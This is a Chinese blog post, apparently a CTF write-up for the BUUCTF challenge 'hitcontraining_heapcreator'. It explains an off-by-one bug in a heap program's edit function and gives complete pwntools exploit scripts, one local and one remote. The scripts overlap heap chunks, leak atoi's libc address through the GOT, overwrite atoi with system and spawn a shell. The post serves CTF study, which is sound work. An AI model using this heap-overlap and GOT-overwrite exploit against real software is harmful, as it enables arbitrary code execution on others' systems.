pwn刷题num47---off by one 修改size大小,造成堆块重叠,控制chunk内容指针,泄露函数真实地址,修改got表,调用system

36 篇文章 0 订阅
18 篇文章 1 订阅
本文详细分析了一款64位程序的堆溢出漏洞,通过创建、编辑和删除堆来操纵内存,最终实现修改 GOT 表并触发系统函数调用,从而获取 shell。过程中涉及了 RELRO、Canary、NX 和 PIE 等保护机制的绕过,以及 libc 版本的确定和利用。
摘要由CSDN通过智能技术生成

BUUCTF-PWN-hitcontraining_heapcreator

在这里插入图片描述

首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
在这里插入图片描述

64位程序,小端序
开启部分RELRO-----got表仍可写
开启canary保护-----栈溢出需绕过canary
开启NX保护-----堆栈不可执行
未开启PIE----函数地址为真实地址
动态链接

运行一下试试
在这里插入图片描述
在这里插入图片描述
功能基本上就是

1. 创建堆
2. 编辑堆 
3.显示堆 
4.删除堆 
5.退出

ida看一下伪代码
主函数就是根据选择调用不同的子函数
在这里插入图片描述

create_heap()函数创造一个堆,这里可以观察到我先是输入一个数字赋值给了size,然后后面又把size赋值给了*(_QWORD *)heaparray[i],作为chunk的size大小,先是申请一个0x20大小的chunk,mem里存放下一个chunk大小,然后又申请size大小的chunk
在这里插入图片描述

read_input(*((void **)heaparray[i] + 1), size);就相当于是read函数
就是
在这里插入图片描述

delete_heap()函数,删除一个堆,free掉两个chunk后,只把第一个chunk指针置空,第二个chunk(内容chunk)未置空
在这里插入图片描述

edit_heap()函数,编辑一个堆修改内容chunk时,

read_input(*((void **)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);

*(_QWORD *)heaparray[v1] 已经是chunk的size大小了,然后 *(_QWORD *)heaparray[v1] + 1就导致可以往mem里写入一字节,造成off by one
在这里插入图片描述

show_heap()函数,输出一个堆

在这里插入图片描述

思路

用creat_heap创造两个heap(内容chunk的mem大小分别为0x18和0x10),利用edit_heap()函数的漏洞,往下一chunk多写一字节,可以覆盖掉下一chunk的size大小(这里改为0x41),使之size变大,之后free掉chunk,fast bin里出现两个chunk(0x20和0x40)(重叠的chunk),再次申请之后造成两堆块重叠,修改内容chunk可以修改大小chunk(记录内容chunk的大小),可以把一个libc里的函数got表地址(这里选atoi函数)写入大小chunk,之后用show_heap可以把atoi函数的真实地址泄露出来,再根据相对偏移不变,找出system函数地址,利用edit_heap把system函数地址覆盖掉atoi函数的got表地址,当程序再次调用atoi函数时,就相当于调用system函数,一开始正好有个read函数(只能最多输入4字节),我们直接输入sh字符串就可以获得shell
在这里插入图片描述

关于libc的获取,题目是ubuntu16,可以在buuctf上找到libc源码
libc源码下载
在这里插入图片描述
白色部分即为libc版本,利用glibc-all-in-one和patchelf即可修改程序加载动态链接库,进行本地调试

exp本地调试

from pwn import *
context(log_level='debug',os='linux',endian='little',arch='amd64')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
 
sh = process("./buuctfheapcreator")
#sh = remote('node4.buuoj.cn',25501)
elf = ELF("./buuctfheapcreator")
libc = ELF("/home/binary/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6") 

def dbg():
	gdb.attach(sh)
	pause()

def create(size, content):
    sh.sendlineafter(" :", "1")
    

    sh.sendlineafter(" : ", str(size))
    sh.sendlineafter(":", content)

def edit(idx, content):
    sh.sendlineafter(" :", "2")
    sh.sendlineafter(" :", str(idx))
    sh.sendlineafter(" : ", content)

def show(idx):
    sh.sendlineafter(" :", "3")
    sh.sendlineafter(" :", str(idx))
    
def delete(idx):
    sh.sendlineafter(" :", "4")
    sh.sendlineafter(" :", str(idx))

def main():
    create(0x20 - 0x8, "aaaa")  #申请一个mem为0x18大小的内容chunk,heap编号为0
    create(0x10, "bbbb")    ##申请一个mem为0x10大小的内容chunk,heap编号为1

    dbg()#断点1

    edit(0, b"a" * 0x18 + p8(0x41)) # 覆盖第二个heap的第一个chunk的size大小为0x41,

    dbg()#断点2

    delete(1)  #free1号heap,内容chunk的mem指针未置空。
            #现在fast bin有两个chunk,分别为0x40大小和0x20大小,其中0x20大小的chunk重叠于ox40大小的chunk
    
    dbg()#断点3

    payload = p64(0) * 4 + p64(0x30) + p64(elf.got["atoi"])   
    create(0x30, payload)  #申请free后的0x40(0x30+0x10)大小的chunk作为内容chunk,heap编号为1,
                            #申请free后的0x20大小的chunk作为大小chunk(记录内容chunk的大小),
                            #造成两堆块重叠,修改内容chunk可以修改大小chunk
                        #2号chunk的mem内容前0x20字节随便写(这里写了四个int0,一个0占8字节),
                        #之后写入0x30,伪造chunk,内容为atoi的got表地址
    
    dbg()#断点4

    show(1)   #输出1号chunk的mem内容,即atoi的got表对于的函数真实地址
    libcBase = u64(sh.recvuntil("\x7f")[-6: ].ljust(8, b"\x00")) - libc.symbols["atoi"] #接收atoi真实地址,计算相对偏移量
    print('libcBase = '+hex(libcBase))
   
 
    system_addr = libcBase + libc.symbols["system"]  
    print('system_addr = '+hex(system_addr))
    
   

    edit(1, p64(system_addr))  #编辑大小chunk(此时该chunk存放的是atoi的got表地址),修改atoi的got表地址为system函数地址
    
    dbg()#断点5

    #delete(0)
    sh.sendlineafter(" :", "sh")  #read函数输入sh,作为system参数
    sh.interactive()
main()

运行

在这里插入图片描述

在这里插入图片描述
断点1处,可以看到申请了两个,出现了四个chunk,分别为存放大小的chunk和存放内容的chunk,其中大小chunk指向内容chunk
在这里插入图片描述

0xcd9040:	0x6161616161616161	0x0000000000000041

断点2处,可以看到第二个chunk已经被我们修改为了0x40大小(0x41是因为上一个chunk还在被使用)
在这里插入图片描述
断点3处,我们可以看到free第二个chunk后,fast bins出现两个chunk(0x40和0x20)
在这里插入图片描述

0xcd9070:	0x0000000000000030	0x0000000000602060

断点4处,可以看到我们已经把大小chunk指向内容chunk的指针改为了指向atoi的got表地址
在这里插入图片描述

0x602060 <atoi@got.plt>:	0x00007fbda3d31e90

而且可以看到atoi的got表内容
在这里插入图片描述

0x602060 <atoi@got.plt>:	0x00007fbda3d403a0

断点5处可以发现atoi的got表地址变了,就是变为了我们写入的system函数地址
接着运行,获得shell
在这里插入图片描述
exp远程

from pwn import *
context(log_level='debug',os='linux',endian='little',arch='amd64')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
 
#sh = process("./buuctfheapcreator")
sh = remote('node4.buuoj.cn',25501)
elf = ELF("./buuctfheapcreator")
libc = ELF("/home/binary/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6") 

def dbg():
	gdb.attach(sh)
	pause()

def create(size, content):
    sh.sendlineafter(" :", "1")
    

    sh.sendlineafter(" : ", str(size))
    sh.sendlineafter(":", content)

def edit(idx, content):
    sh.sendlineafter(" :", "2")
    sh.sendlineafter(" :", str(idx))
    sh.sendlineafter(" : ", content)

def show(idx):
    sh.sendlineafter(" :", "3")
    sh.sendlineafter(" :", str(idx))
    
def delete(idx):
    sh.sendlineafter(" :", "4")
    sh.sendlineafter(" :", str(idx))

def main():
    create(0x20 - 0x8, "aaaa")  #申请一个mem为0x18大小的内容chunk,heap编号为0
    create(0x10, "bbbb")    ##申请一个mem为0x10大小的内容chunk,heap编号为1

    #dbg()

    edit(0, b"a" * 0x18 + p8(0x41)) # 覆盖第二个heap的第一个chunk的size大小为0x41,

   # dbg()

    delete(1)  #free1号heap,内容chunk的mem指针未置空。
            #现在fast bin有两个chunk,分别为0x40大小和0x20大小,其中0x20大小的chunk重叠于ox40大小的chunk
    
    #dbg()

    payload = p64(0) * 4 + p64(0x30) + p64(elf.got["atoi"])   
    create(0x30, payload)  #申请free后的0x40(0x30+0x10)大小的chunk作为内容chunk,heap编号为1,
                            #申请free后的0x20大小的chunk作为大小chunk(记录内容chunk的大小),
                            #造成两堆块重叠,修改内容chunk可以修改大小chunk
                        #2号chunk的mem内容前0x20字节随便写(这里写了四个int0,一个0占8字节),
                        #之后写入0x30,伪造chunk,内容为atoi的got表地址
    
   # dbg()

    show(1)   #输出1号chunk的mem内容
    libcBase = u64(sh.recvuntil("\x7f")[-6: ].ljust(8, b"\x00")) - libc.symbols["atoi"] #接收atoi真实地址,计算相对偏移量
    print('libcBase = '+hex(libcBase))
   
 
    system_addr = libcBase + libc.symbols["system"]  
    print('system_addr = '+hex(system_addr))
    
 

    edit(1, p64(system_addr))  #编辑大小chunk(此时该chunk存放的是atoi的got表地址),修改atoi的got表地址为system函数地址
    
    #dbg()

    #delete(0)
    sh.sendlineafter(" :", "sh")  #read函数输入sh,作为system参数
    sh.interactive()
main()

运行获得shell 在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值